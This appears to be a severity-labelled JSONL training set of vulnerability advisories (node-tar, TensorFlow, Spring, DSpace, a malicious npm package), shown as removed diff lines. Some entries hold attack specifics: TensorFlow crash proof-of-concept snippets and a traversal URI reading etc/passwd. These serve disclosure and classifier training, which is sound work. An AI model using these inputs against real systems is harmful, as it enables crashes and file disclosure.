Ikhwan Zulkifli", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-18", "split": "train"}
-{"id": "6f0b9106894cd92d135b", "text": "Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links\n\n### Impact\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\nnode-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.\n\nThis logic was insufficient when extracting tar files that contained two directories and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 \"short path\" counterparts. A specially crafted tar archive could thus include directories with two forms of the path that resolve to the same file system entity, followed by a symbolic link with a name in the first form, lastly followed by a file using the second form. It led to bypassing node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.\n\nThe v3 branch of `node-tar` has been deprecated and did not receive patches for these issues. If you are still using a v3 release we recommend you update to a more recent version of `node-tar`. If this is not possible, a workaround is available below.\n\n### Patches\n\n6.1.9 || 5.0.10 || 4.4.18\n\n### Workarounds\n\nUsers may work around this vulnerability without upgrading by creating a custom filter method which prevents the extraction of symbolic links.\n\n```js\nconst tar = require('tar')\n\ntar.x({\n  file: 'archive.tgz',\n  filter: (file, entry) => {\n    if (entry.type === 'SymbolicLink') {\n      return false\n    } else {\n      return true\n    }\n  }\n})\n```\n\nUsers are encouraged to upgrade to the latest patched versions, rather than attempt to sanitize tar input themselves.\n\n#### Fix\n\nThe problem is addressed in the following ways, when comparing paths in the directory cache and path reservation systems:\n\n1. The `String.normalize('NFKD')` method is used to first normalize all unicode to its maximally compatible and multi-code-point form.\n2. All slashes are normalized to `/` on Windows systems (on posix systems, `\\` is a valid filename character, and thus left intact).\n3. When a symbolic link is encountered on Windows systems, the entire directory cache is cleared.  Collisions related to use of 8.3 short names to replace directories with other (non-symlink) types of entries may make archives fail to extract properly, but will not result in arbitrary file writes.", "text_raw": "Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links\n\n[Severity: HIGH]\n\n### Impact\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\nnode-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.\n\nThis logic was insufficient when extracting tar files that contained two directories and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 \"short path\" counterparts. A specially crafted tar archive could thus include directories with two forms of the path that resolve to the same file system entity, followed by a symbolic link with a name in the first form, lastly followed by a file using the second form. It led to bypassing node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.\n\nThe v3 branch of `node-tar` has been deprecated and did not receive patches for these issues. If you are still using a v3 release we recommend you update to a more recent version of `node-tar`. If this is not possible, a workaround is available below.\n\n### Patches\n\n6.1.9 || 5.0.10 || 4.4.18\n\n### Workarounds\n\nUsers may work around this vulnerability without upgrading by creating a custom filter method which prevents the extraction of symbolic links.\n\n```js\nconst tar = require('tar')\n\ntar.x({\n  file: 'archive.tgz',\n  filter: (file, entry) => {\n    if (entry.type === 'SymbolicLink') {\n      return false\n    } else {\n      return true\n    }\n  }\n})\n```\n\nUsers are encouraged to upgrade to the latest patched versions, rather than attempt to sanitize tar input themselves.\n\n#### Fix\n\nThe problem is addressed in the following ways, when comparing paths in the directory cache and path reservation systems:\n\n1. The `String.normalize('NFKD')` method is used to first normalize all unicode to its maximally compatible and multi-code-point form.\n2. All slashes are normalized to `/` on Windows systems (on posix systems, `\\` is a valid filename character, and thus left intact).\n3. When a symbolic link is encountered on Windows systems, the entire directory cache is cleared.  Collisions related to use of 8.3 short names to replace directories with other (non-symlink) types of entries may make archives fail to extract properly, but will not result in arbitrary file writes.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-31", "split": "train"}
-{"id": "53d66d4a06e99fb34f98", "text": "Native Instruments Kontakt 4 Player v4.1.3 Insecure Library Loading Vulnerability", "text_raw": "Native Instruments Kontakt 4 Player v4.1.3 Insecure Library Loading Vulnerability\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2010-11-20", "split": "train"}
-{"id": "da713f0855f5256695c3", "text": "Improper Privilege Management in org.apache.hadoop:hadoop-main\n\nIn Apache Hadoop 2.9.0 to 2.9.1, 2.8.3 to 2.8.4, 2.7.5 to 2.7.6, KMS blocking users or granting access to users incorrectly, if the system uses non-default groups mapping mechanisms.", "text_raw": "Improper Privilege Management in org.apache.hadoop:hadoop-main\n\n[Severity: HIGH]\n\nIn Apache Hadoop 2.9.0 to 2.9.1, 2.8.3 to 2.8.4, 2.7.5 to 2.7.6, KMS blocking users or granting access to users incorrectly, if the system uses non-default groups mapping mechanisms.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-25", "split": "train"}
-{"id": "086f87099e39af35ba5b", "text": "Trend Micro Multiple Products Improper Access Control Vulnerability\n\nAffected: Trend Micro Apex One, OfficeScan, and Worry-Free Business Security\n\nTrend Micro Apex One, OfficeScan, and Worry-Free Business Security on Microsoft Windows contain an improper access control vulnerability that may allow an attacker to manipulate a particular product folder to disable the security temporarily, abuse a specific Windows function, and attain privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Trend Micro Multiple Products Improper Access Control Vulnerability\n\nAffected: Trend Micro Apex One, OfficeScan, and Worry-Free Business Security\n\nTrend Micro Apex One, OfficeScan, and Worry-Free Business Security on Microsoft Windows contain an improper access control vulnerability that may allow an attacker to manipulate a particular product folder to disable the security temporarily, abuse a specific Windows function, and attain privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "cdc31e35230b163c56ca", "text": "Malicious Package in eslint-config-airbnb-standard\n\nVersion 2.0.0 of `eslint-config-airbnb-standard` was published with a bundled version of `eslint-scope` that  was found to contain malicious code. This code would read the users `.npmrc` file and send it's contents to a remote server.\n\n## Recommendation\n\nThe best course of action if you found this package installed in your environment is to revoke all your npm tokens and use a different version of the module. You can find instructions on how to do that here. https://docs.npmjs.com/getting-started/working_with_tokens#how-to-revoke-tokens", "text_raw": "Malicious Package in eslint-config-airbnb-standard\n\n[Severity: CRITICAL]\n\nVersion 2.0.0 of `eslint-config-airbnb-standard` was published with a bundled version of `eslint-scope` that  was found to contain malicious code. This code would read the users `.npmrc` file and send it's contents to a remote server.\n\n\n## Recommendation\n\nThe best course of action if you found this package installed in your environment is to revoke all your npm tokens and use a different version of the module. You can find instructions on how to do that here. https://docs.npmjs.com/getting-started/working_with_tokens#how-to-revoke-tokens\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "974a0f5f6095068d3783", "text": "Prototype Pollution in set-or-get\n\nPrototype pollution vulnerability in ‘set-or-get’ version 1.0.0 through 1.2.10 allows an attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype Pollution in set-or-get\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in ‘set-or-get’ version 1.0.0 through 1.2.10 allows an attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-12", "split": "train"}
-{"id": "86c36b0be519ad897231", "text": "Incorrect Comparison in NumPy\n\nIncomplete string comparison in the numpy.core component in NumPy1.9.x, which allows attackers to fail the APIs via constructing specific string objects.", "text_raw": "Incorrect Comparison in NumPy\n\n[Severity: MEDIUM]\n\nIncomplete string comparison in the numpy.core component in NumPy1.9.x, which allows attackers to fail the APIs via constructing specific string objects.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-18", "split": "train"}
-{"id": "6a2084aa6d414409ec54", "text": "Apache Ignite before 1.9 allows man-in-the-middle attackers to read arbitrary files via XXE in modified update-notifier documents.", "text_raw": "Moderate severity vulnerability that affects org.apache.ignite:ignite-core\n\n[Severity: MEDIUM]\n\nApache Ignite before 1.9 allows man-in-the-middle attackers to read arbitrary files via XXE in modified update-notifier documents.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "a96f04275fc42e8cd747", "text": "iGallery Plugin v1.0.0 (dir) Remote Cross-Site Scripting Vulnerability", "text_raw": "iGallery Plugin v1.0.0 (dir) Remote Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-09-17", "split": "train"}
-{"id": "01fd1845ca2f58554ff7", "text": "Prototype pollution in object-hierarchy-access\n\nOverview:Prototype pollution vulnerability in ‘object-hierarchy-access’ versions 0.2.0 through 0.32.0 allows attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution in object-hierarchy-access\n\n[Severity: CRITICAL]\n\nOverview:Prototype pollution vulnerability in ‘object-hierarchy-access’ versions 0.2.0 through 0.32.0 allows attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "b5e8222e041c476d8103", "text": "The XMLUI feature in DSpace before 3.6, 4.x before 4.5, and 5.x before 5.5 allows directory traversal via the themes/ path in an attack with two or more arbitrary characters and a colon before a pathname, as demonstrated by a themes/Reference/aa:etc/passwd URI.", "text_raw": "High severity vulnerability that affects org.dspace:dspace-xmlui\n\n[Severity: HIGH]\n\nThe XMLUI feature in DSpace before 3.6, 4.x before 4.5, and 5.x before 5.5 allows directory traversal via the themes/ path in an attack with two or more arbitrary characters and a colon before a pathname, as demonstrated by a themes/Reference/aa:etc/passwd URI.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "15439d2663bcc991b88a", "text": "Cachet vulnerable to new line injection during configuration edition\n\n### Impact\n\nAuthenticated users, regardless of their privileges (_User_ or _Admin_), can exploit a new line injection in the configuration edition feature (e.g. mail settings) and gain arbitrary code execution on the server.\n\n### Patches\n\nThis issue was addressed by improving `UpdateConfigCommandHandler` and preventing the use of new lines characters in new configuration values.\n\n### Workarounds\n\nOnly allow trusted source IP addresses to access to the administration dashboard.\n\n### References\n\n- https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n- The original reporters, by sending an email to vulnerability.research [at] sonarsource.com;\n- The maintainers, by opening an issue on this repository.", "text_raw": "Cachet vulnerable to new line injection during configuration edition\n\n[Severity: HIGH]\n\n### Impact\n\nAuthenticated users, regardless of their privileges (_User_ or _Admin_), can exploit a new line injection in the configuration edition feature (e.g. mail settings) and gain arbitrary code execution on the server.\n\n### Patches\n\nThis issue was addressed by improving `UpdateConfigCommandHandler` and preventing the use of new lines characters in new configuration values.\n\n### Workarounds\n\nOnly allow trusted source IP addresses to access to the administration dashboard.\n\n### References\n\n- https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n- The original reporters, by sending an email to vulnerability.research [at] sonarsource.com;\n- The maintainers, by opening an issue on this repository.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "d3f136cf08c06e422572", "text": "Withdrawn, accidental duplicate publish.\n\nCross-site scripting (XSS) vulnerability in the rails-html-sanitizer gem 1.0.2 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via an HTML entity that is mishandled by the Rails::Html::FullSanitizer class.", "text_raw": "Moderate severity vulnerability that affects rails-html-sanitizer\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nCross-site scripting (XSS) vulnerability in the rails-html-sanitizer gem 1.0.2 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via an HTML entity that is mishandled by the Rails::Html::FullSanitizer class.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "7d061fc65d8cf39c75a3", "text": "Heap buffer overflow in `Conv2DBackpropFilter`\n\n### Impact\nAn attacker can cause a heap buffer overflow to occur in `Conv2DBackpropFilter`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([386.078431372549, 386.07843139643234],\n                           shape=[1, 1, 1, 2], dtype=tf.float32)\nfilter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)\nout_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],\n                           dtype=tf.float32)\n\ntf.raw_ops.Conv2DBackpropFilter(\n  input=input_tensor,\n  filter_sizes=filter_sizes,\n  out_backprop=out_backprop,\n  strides=[1, 66, 49, 1],\n  use_cudnn_on_gpu=True,\n  padding='VALID',\n  explicit_paddings=[],\n  data_format='NHWC',\n  dilations=[1, 1, 1, 1]\n)\n```\n\nAlternatively, passing empty tensors also results in similar behavior:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)\nfilter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)\nout_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)\n\ntf.raw_ops.Conv2DBackpropFilter(\n  input=input_tensor,\n  filter_sizes=filter_sizes, \n  out_backprop=out_backprop,\n  strides=[1, 66, 49, 1], \n  use_cudnn_on_gpu=True,\n  padding='VALID',\n  explicit_paddings=[],\n  data_format='NHWC',\n  dilations=[1, 1, 1, 1]\n)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in `filter_sizes`. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.\n\n### Patches \nWe have patched the issue in GitHub commit [c570e2ecfc822941335ad48f6e10df4e21f11c96](https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Heap buffer overflow in `Conv2DBackpropFilter`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a heap buffer overflow to occur in `Conv2DBackpropFilter`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([386.078431372549, 386.07843139643234],\n                           shape=[1, 1, 1, 2], dtype=tf.float32)\nfilter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)\nout_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],\n                           dtype=tf.float32)\n  \ntf.raw_ops.Conv2DBackpropFilter(\n  input=input_tensor,\n  filter_sizes=filter_sizes,\n  out_backprop=out_backprop,\n  strides=[1, 66, 49, 1],\n  use_cudnn_on_gpu=True,\n  padding='VALID',\n  explicit_paddings=[],\n  data_format='NHWC',\n  dilations=[1, 1, 1, 1]\n)\n```\n\nAlternatively, passing empty tensors also results in similar behavior: \n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)\nfilter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)\nout_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)\n\ntf.raw_ops.Conv2DBackpropFilter(\n  input=input_tensor,\n  filter_sizes=filter_sizes, \n  out_backprop=out_backprop,\n  strides=[1, 66, 49, 1], \n  use_cudnn_on_gpu=True,\n  padding='VALID',\n  explicit_paddings=[],\n  data_format='NHWC',\n  dilations=[1, 1, 1, 1]\n)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in `filter_sizes`. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.\n\n### Patches \nWe have patched the issue in GitHub commit [c570e2ecfc822941335ad48f6e10df4e21f11c96](https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "7ff28a1552d6ddb320fb", "text": "Apache Spark Deserialization of Untrusted Data vulnerability\n\nIn Apache Spark 1.6.0 until 2.1.1, the launcher API performs unsafe deserialization of data received by its socket. This makes applications launched programmatically using the launcher API potentially vulnerable to arbitrary code execution by an attacker with access to any user account on the local machine. It does not affect apps run by spark-submit or spark-shell. The attacker would be able to execute code as the user that ran the Spark application. Users are encouraged to update to version 2.1.2, 2.2.0 or later.", "text_raw": "Apache Spark Deserialization of Untrusted Data vulnerability\n\n[Severity: HIGH]\n\nIn Apache Spark 1.6.0 until 2.1.1, the launcher API performs unsafe deserialization of data received by its socket. This makes applications launched programmatically using the launcher API potentially vulnerable to arbitrary code execution by an attacker with access to any user account on the local machine. It does not affect apps run by spark-submit or spark-shell. The attacker would be able to execute code as the user that ran the Spark application. Users are encouraged to update to version 2.1.2, 2.2.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "6960f6a0bce090bca7b1", "text": "Teradek VidiU Pro 3.0.3 (snapshot.cgi) Stream Disclosure", "text_raw": "Teradek VidiU Pro 3.0.3 (snapshot.cgi) Stream Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-05-21", "split": "train"}
-{"id": "0d85bb0644dce7908a6e", "text": "Improper Input Validation in org.springframework.security:spring-security-core, org.springframework.security:spring-security-core , and org.springframework:spring-core\n\nSpring Security (Spring Security 4.1.x before 4.1.5, 4.2.x before 4.2.4, and 5.0.x before 5.0.1; and Spring Framework 4.3.x before 4.3.14 and 5.0.x before 5.0.3) does not consider URL path parameters when processing security constraints. By adding a URL path parameter with special encodings, an attacker may be able to bypass a security constraint. The root cause of this issue is a lack of clarity regarding the handling of path parameters in the Servlet Specification. Some Servlet containers include path parameters in the value returned for getPathInfo() and some do not. Spring Security uses the value returned by getPathInfo() as part of the process of mapping requests to security constraints. In this particular attack, different character encodings used in path parameters allows secured Spring MVC static resource URLs to be bypassed.", "text_raw": "Improper Input Validation in org.springframework.security:spring-security-core, org.springframework.security:spring-security-core , and org.springframework:spring-core\n\n[Severity: MEDIUM]\n\nSpring Security (Spring Security 4.1.x before 4.1.5, 4.2.x before 4.2.4, and 5.0.x before 5.0.1; and Spring Framework 4.3.x before 4.3.14 and 5.0.x before 5.0.3) does not consider URL path parameters when processing security constraints. By adding a URL path parameter with special encodings, an attacker may be able to bypass a security constraint. The root cause of this issue is a lack of clarity regarding the handling of path parameters in the Servlet Specification. Some Servlet containers include path parameters in the value returned for getPathInfo() and some do not. Spring Security uses the value returned by getPathInfo() as part of the process of mapping requests to security constraints. In this particular attack, different character encodings used in path parameters allows secured Spring MVC static resource URLs to be bypassed.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "eb8b339ecda3080e0922", "text": "Server-Side Request Forgery in Plone\n\nPlone though 5.2.4 allows SSRF via the lxml parser. This affects Diazo themes, Dexterity TTW schemas, and modeleditors in plone.app.theming, plone.app.dexterity, and plone.supermodel.", "text_raw": "Server-Side Request Forgery in Plone\n\n[Severity: HIGH]\n\nPlone though 5.2.4 allows SSRF via the lxml parser. This affects Diazo themes, Dexterity TTW schemas, and modeleditors in plone.app.theming, plone.app.dexterity, and plone.supermodel.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-15", "split": "train"}
-{"id": "c2463cacb490eca5f69e", "text": "Write to immutable memory region in TensorFlow\n\n### Impact\nThe `tf.raw_ops.ImmutableConst` operation returns a constant tensor created from a memory mapped file which is assumed immutable. However, if the type of the tensor is not an integral type, the operation crashes the Python interpreter as it tries to write to the memory area:\n\n```python\n>>> import tensorflow as tf\n>>> with open('/tmp/test.txt','w') as f: f.write('a'*128)\n>>> tf.raw_ops.ImmutableConst(dtype=tf.string,shape=2,\n                              memory_region_name='/tmp/test.txt')\n```\n\nIf the file is too small, TensorFlow properly returns an error as the memory area has fewer bytes than what is needed for the tensor it creates. However, as soon as there are enough bytes, the above snippet causes a segmentation fault.\n\nThis is because the alocator used to return the buffer data is not marked as returning an opaque handle since the [needed virtual method](https://github.com/tensorflow/tensorflow/blob/c1e1fc899ad5f8c725dcbb6470069890b5060bc7/tensorflow/core/framework/typed_allocator.h#L78-L85) is [not overriden](https://github.com/tensorflow/tensorflow/blob/acdf3c04fcfa767ae8d109b9e1f727ef050dba4d/tensorflow/core/kernels/immutable_constant_op.cc).\n\n### Patches\nWe have patched the issue in GitHub commit [c1e1fc899ad5f8c725dcbb6470069890b5060bc7](https://github.com/tensorflow/tensorflow/commit/c1e1fc899ad5f8c725dcbb6470069890b5060bc7) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\nSince this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Write to immutable memory region in TensorFlow\n\n[Severity: MEDIUM]\n\n### Impact\nThe `tf.raw_ops.ImmutableConst` operation returns a constant tensor created from a memory mapped file which is assumed immutable. However, if the type of the tensor is not an integral type, the operation crashes the Python interpreter as it tries to write to the memory area:\n\n```python\n>>> import tensorflow as tf\n>>> with open('/tmp/test.txt','w') as f: f.write('a'*128)\n>>> tf.raw_ops.ImmutableConst(dtype=tf.string,shape=2,\n                              memory_region_name='/tmp/test.txt')\n```\n\nIf the file is too small, TensorFlow properly returns an error as the memory area has fewer bytes than what is needed for the tensor it creates. However, as soon as there are enough bytes, the above snippet causes a segmentation fault.\n\nThis is because the alocator used to return the buffer data is not marked as returning an opaque handle since the [needed virtual method](https://github.com/tensorflow/tensorflow/blob/c1e1fc899ad5f8c725dcbb6470069890b5060bc7/tensorflow/core/framework/typed_allocator.h#L78-L85) is [not overriden](https://github.com/tensorflow/tensorflow/blob/acdf3c04fcfa767ae8d109b9e1f727ef050dba4d/tensorflow/core/kernels/immutable_constant_op.cc).\n\n### Patches\nWe have patched the issue in GitHub commit [c1e1fc899ad5f8c725dcbb6470069890b5060bc7](https://github.com/tensorflow/tensorflow/commit/c1e1fc899ad5f8c725dcbb6470069890b5060bc7) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\nSince this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-10", "split": "train"}
-{"id": "51a163ae8eb2dada53b2", "text": "XML External Entity Reference (XXE) in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.7 might allow attackers to conduct external XML entity (XXE) attacks by leveraging failure to block unspecified JDK classes from polymorphic deserialization.", "text_raw": "XML External Entity Reference (XXE) in jackson-databind\n\n[Severity: CRITICAL]\n\nFasterXML jackson-databind 2.x before 2.9.7 might allow attackers to conduct external XML entity (XXE) attacks by leveraging failure to block unspecified JDK classes from polymorphic deserialization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "bc961c56bee295ec7b5d", "text": "Atlassian JIRA v6.0.3 Arbitrary HTML/Script Execution Vulnerability", "text_raw": "Atlassian JIRA v6.0.3 Arbitrary HTML/Script Execution Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-08-06", "split": "train"}
-{"id": "cb5f50a43cac35d8c790", "text": "Tempfile on Windows path traversal vulnerability\n\nThere is an unintentional directory creation vulnerability in `tmpdir` library bundled with Ruby on Windows. And there is also an unintentional file creation vulnerability in tempfile library bundled with Ruby on Windows, because it uses tmpdir internally.", "text_raw": "Tempfile on Windows path traversal vulnerability\n\n[Severity: HIGH]\n\nThere is an unintentional directory creation vulnerability in `tmpdir` library bundled with Ruby on Windows. And there is also an unintentional file creation vulnerability in tempfile library bundled with Ruby on Windows, because it uses tmpdir internally. \n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "59e4d61b6bc5c4fb4e6b", "text": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to javax.swing.JEditorPane.", "text_raw": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to javax.swing.JEditorPane.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-23", "split": "train"}
-{"id": "ed9dc2c193e487561bb7", "text": "Improper Authentication in Apache Karaf\n\nIn Apache Karaf version prior to 3.0.9, 4.0.9, 4.1.1, when the webconsole feature is installed in Karaf, it is available at .../system/console and requires authentication to access it. One part of the console is a Gogo shell/console that gives access to the command line console of Karaf via a Web browser, and when navigated to it is available at .../system/console/gogo. Trying to go directly to that URL does require authentication. And optional bundle that some applications use is the Pax Web Extender Whiteboard, it is part of the pax-war feature and perhaps others. When it is installed, the Gogo console becomes available at another URL .../gogo/, and that URL is not secured giving access to the Karaf console to unauthenticated users. A mitigation for the issue is to manually stop/uninstall Gogo plugin bundle that is installed with the webconsole feature, although of course this removes the console from the .../system/console application, not only from the unauthenticated endpoint. One could also stop/uninstall the Pax Web Extender Whiteboard, but other components/applications may require it and so their functionality would be reduced/compromised.", "text_raw": "Improper Authentication in Apache Karaf\n\n[Severity: HIGH]\n\nIn Apache Karaf version prior to 3.0.9, 4.0.9, 4.1.1, when the webconsole feature is installed in Karaf, it is available at .../system/console and requires authentication to access it. One part of the console is a Gogo shell/console that gives access to the command line console of Karaf via a Web browser, and when navigated to it is available at .../system/console/gogo. Trying to go directly to that URL does require authentication. And optional bundle that some applications use is the Pax Web Extender Whiteboard, it is part of the pax-war feature and perhaps others. When it is installed, the Gogo console becomes available at another URL .../gogo/, and that URL is not secured giving access to the Karaf console to unauthenticated users. A mitigation for the issue is to manually stop/uninstall Gogo plugin bundle that is installed with the webconsole feature, although of course this removes the console from the .../system/console application, not only from the unauthenticated endpoint. One could also stop/uninstall the Pax Web Extender Whiteboard, but other components/applications may require it and so their functionality would be reduced/compromised.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-01-07", "split": "train"}
-{"id": "84e8b08c7013943cbea4", "text": "Uncontrolled Resource Consumption in fun-map\n\nfun-map through 3.3.1 is vulnerable to Prototype Pollution. The function assocInM could be tricked into adding or modifying properties of 'Object.prototype' using a '__proto__' payload.", "text_raw": "Uncontrolled Resource Consumption in fun-map\n\n[Severity: HIGH]\n\nfun-map through 3.3.1 is vulnerable to Prototype Pollution. The function assocInM could be tricked into adding or modifying properties of 'Object.prototype' using a '__proto__' payload.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "f265cc36927c9d24ea24", "text": "Withdrawn, accidental duplicate publish.\n\nThe thoughtbot paperclip gem before 4.2.2 for Ruby does not consider the content-type value during media-type validation, which allows remote attackers to upload HTML documents and conduct cross-site scripting (XSS) attacks via a spoofed value, as demonstrated by image/jpeg.", "text_raw": "Moderate severity vulnerability that affects paperclip\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\n\nThe thoughtbot paperclip gem before 4.2.2 for Ruby does not consider the content-type value during media-type validation, which allows remote attackers to upload HTML documents and conduct cross-site scripting (XSS) attacks via a spoofed value, as demonstrated by image/jpeg.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-13", "split": "train"}
